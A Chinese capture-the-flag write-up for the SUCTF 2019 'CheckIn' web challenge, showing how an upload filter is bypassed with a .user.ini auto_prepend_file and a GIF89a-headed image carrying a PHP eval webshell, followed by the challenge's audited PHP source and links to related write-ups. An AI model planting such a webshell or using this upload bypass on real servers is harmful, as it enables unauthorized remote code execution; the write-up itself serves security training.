简介

 原题复现:https://github.com/team-su/SUCTF-2019/tree/master/Web/checkIn

 考察知识点:上传绕过、.user.ini

 线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题

过程

拿到题老方法 各种绕过尝试

经过测试 得知有:后缀名检测(php,php1、php5、phtml不行).文件内容不能有<? 、必须是图片类型、低啊用了这个函数exif_imagetype()所以要添加文件头

测试.htaccess可以 但是没用 看WP说服务器是nginx 1.10.3,似乎版本较高,不存在解析漏洞。可以使用.user.ini

.user.ini

.user.ini。它比.htaccess用的更广,不管是nginx/apache/IIS,只要是以fastcgi运行的php都可以用这个方法。我的nginx服务器全部是fpm/fastcgi,我的IIS php5.3以上的全部用的fastcgi/cgi,我win下的apache上也用的fcgi,可谓很广,不像.htaccess有局限性。

auto_prepend_fileauto_append_file

大致意思就是:我们指定一个文件(如a.jpg),那么该文件就会被包含在要执行的php文件中(如index.php),类似于在index.php中插入一句:require(./a.jpg);

这两个设置的区别只是在于auto_prepend_file是在文件前插入;auto_append_file在文件最后插入(当文件调用的有exit()时该设置无效)

利用思路大概是这样 上传.user.php内容指定a.jpg——>上传a.jpg内容为可以执行的php代码——>访问当前目录下的php文件即可

我们可以先上传一内容为下方的一个.user.php 我们可以看到上传成功当前目录下有个index.php 这说明这个漏洞可以利用成功

使用auto_prepend_file指定一个插入文件名为a.jpg 这样当前目录下的php文件就包含了a.jpg这个文件

GIF89a
auto_prepend_file=a.jpg

在上传一个内容为a.jpg的小马文件 这样此段代码就包含到了index.php了

GIF89a
<script language='php'>@eval($_POST['xiaohua']);<</script>

菜刀连接 使用菜刀中的虚拟终端查看flag即可获得

http://87e-ebb9c445cad2.node3.buuoj.cn/uploads/d57583a334819a28038b398dd11b00cf/index.php

参考学习:https://xz.aliyun.com/t/6091

    https://wooyun.js.org/drops/user.ini文件构成的PHP后门.html

代码审计

程序代码:

<!DOCTYPE html>
<html lang="en"> <head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Upload Labs</title>
</head> <body>
<h2>Upload Labs</h2>
<form action="index.php" method="post" enctype="multipart/form-data">
<label for="file">文件名:</label>
<input type="file" name="fileUpload" id="file"><br>
<input type="submit" name="upload" value="提交">
</form>
</body> </html> <?php
// error_reporting(0); $userdir = "uploads/" . md5($_SERVER["REMOTE_ADDR"]);
if (!file_exists($userdir)) {
mkdir($userdir, 0777, true);
}
file_put_contents($userdir . "/index.php", "");
if (isset($_POST["upload"])) {
//获取缓存文件名
$tmp_name = $_FILES["fileUpload"]["tmp_name"]; //获取文件名
$name = $_FILES["fileUpload"]["name"];
print($name); //判断缓存文件是否存在
if (!$tmp_name) {
die("filesize too big!");
} //判断文件名是否存在
if (!$name) {
die("filename cannot be empty!");
} //获取文件后缀名
$extension = substr($name, strrpos($name, ".") + 1); //黑名单限制了ph开头的所有 还有这里作者可能想限制.htacess文件上传漏洞但是作者写错了
//所以可以上传.htaccess(注意拼写)
if (preg_match("/ph|htacess/i", $extension)) {
die("illegal suffix!");
} //判断文件内是否存在<?这些字符 这个很好绕过
//使用<script language='php'>@eval($_POST['xiaohua']);</script>轻松绕过
if (mb_strpos(file_get_contents($tmp_name), "<?") !== FALSE) {
die("&lt;? in contents!");
} //exif_imagetype — 判断一个图像的类型 可以判断一个函数的类型是不是图像类型
//绕过在文件头修改成Content-type对应的即可 比如GIF类型GIF89a Cntent-Type:image/gif
$image_type = exif_imagetype($tmp_name);
if (!$image_type) {
die("exif_imagetype:not image!");
} $upload_file_path = $userdir . "/" . $name;
move_uploaded_file($tmp_name, $upload_file_path);
echo "Your dir " . $userdir. ' <br>';
echo 'Your files : <br>';
var_dump(scandir($userdir));
}
?>

基础工作部分

过滤部分

末尾部分

审计总结:文件后缀黑名单比较严格 过滤了一切php1 php2 phtml 这类的后缀 。

    文件内容<?过滤 可以通过JS加载php绕过的

    文件类型判断 可以添加图片头部绕过

参考学习:https://www.cnblogs.com/phpBigbin/p/7945273.html    

[原题复现+审计][SUCTF 2019] WEB CheckIn(上传绕过、.user.ini)的更多相关文章

  1. [原题复现+审计][ZJCTF 2019] WEB NiZhuanSiWei(反序列化、PHP伪协议、数组绕过)

    简介  原题复现:https://github.com/CTFTraining/zjctf_2019_final_web_nizhuansiwei/  考察知识点:反序列化.PHP伪协议.数组绕过   ...

  2. [原题复现+审计][BUUCTF 2018]WEB Online Tool(escapeshellarg和escapeshellcmd使用不当导致rce)

    简介  原题复现:https://github.com/glzjin/buuctf_2018_online_tool (环境php5.6.40)  考察知识点:escapeshellarg和escap ...

  3. [原题复现+审计][RoarCTF 2019]Easy Calc(http协议走私、php字符串解析漏洞)

    简介  原题复现:  考察知识点:http协议走私.php字符串解析漏洞  线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到 ...

  4. [原题复现+审计][0CTF 2016] WEB piapiapia(反序列化、数组绕过)[改变序列化长度,导致反序列化漏洞]

    简介  原题复现:  考察知识点:反序列化.数组绕过  线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题 漏洞学习 数组 ...

  5. [原题复现]强网杯 2019 WEB高明的黑客

    简介  原题复现:  考察知识点:python代码编写能力...  线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题 简 ...

  6. [原题复现+审计][网鼎杯 2018] WEB Fakebook(SSRF、反序列化、SQL注入)

    简介  原题复现:  考察知识点:SSRF.反序列化.SQL注入  线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题 过 ...

  7. [原题复现+审计][CISCN2019 华北赛区 Day1 Web2]ikun(逻辑漏洞、JWT伪造、python序列化)

    简介  原题复现:  考察知识点:逻辑漏洞.JWT伪造.python反序列化  线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台 ...

  8. [原题复现]2018护网杯(WEB)easy_tornado(模板注入)

    简介 原题复现:  考察知识点:模板注入  线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题 [护网杯 2018]eas ...

  9. [原题复现+审计][BJDCTF2020]Mark loves cat($$导致的变量覆盖问题)

    简介  原题复现:https://gitee.com/xiaohua1998/BJDCTF2020_January  考察知识点:$$导致的变量覆盖问题  线上平台:https://buuoj.cn( ...

随机推荐

  1. appium_android-常见的问题

    po模型的原则: 用公共方法代表UI所提供的功能 方法应该返回其他的PageObject或者返回用于断言的数据 同样的行为不同的结果可以建模为不同的方法 不要在方法内加断言 字段意义 不要暴露页面内部 ...

  2. Linux操作系统的介绍和安装教程(Centos6.4)

    路漫漫其修远兮,吾将上下而求 Linux的简单介绍 Linux最初是由芬兰赫尔辛基大学学生Linus Torvalds开发的,由于自己不满意教学中使用的MINIX操作系统, 所以在1990年底由于个人 ...

  3. 基于SSM框架的JavaWeb通用权限管理系统

    - - ->关注博主公众号[C you again],获取更多IT资源(IT技术文章,毕业设计.课程设计系统源码,经典游戏源码,HTML网页模板,PPT.简历模板,!!还可以投稿赚钱!!,点击查 ...

  4. 02 . Go框架之Gin框架从入门到熟悉(数据解析和绑定,渲染,重定向,同步异步,中间件)

    数据解析和绑定 json数据解析和绑定 package main import ( "github.com/gin-gonic/gin" "net/http" ...

  5. 2020 10月CUMTCTF wp

    华为杯 × 签到杯√ 论比赛过程来说没什么很大收获 但看师傅们的wp感触很多 赛后复现慢慢学吧 Web babyflask flask ssti模板注入: payload{{key}}发现[]以及类似 ...

  6. error: invalid command ‘bdist_wheel‘

    解决方法: pip3 install wheel 了解更多,请关注公众号

  7. Hadoop安装 与 HDFS体系结构

  8. (六)HTTP和HTTPS(转)

    一.HTTP和HTTPS的基本概念 HTTP:用于从WWW服务器传输超文本到本地浏览器的传输协议,它可以使浏览器更加高效,使网络传输减少. HTTPS:是以安全为目标的HTTP通道,简单讲是HTTP的 ...

  9. eclipse配置NS3

    配置环境

  10. angularJS 小记

    刚刚接触angularJS,网上学习了一遍菜鸟教程(http://www.runoob.com/angularjs/angularjs-tutorial.html),做了些基础知识的笔记. Angul ...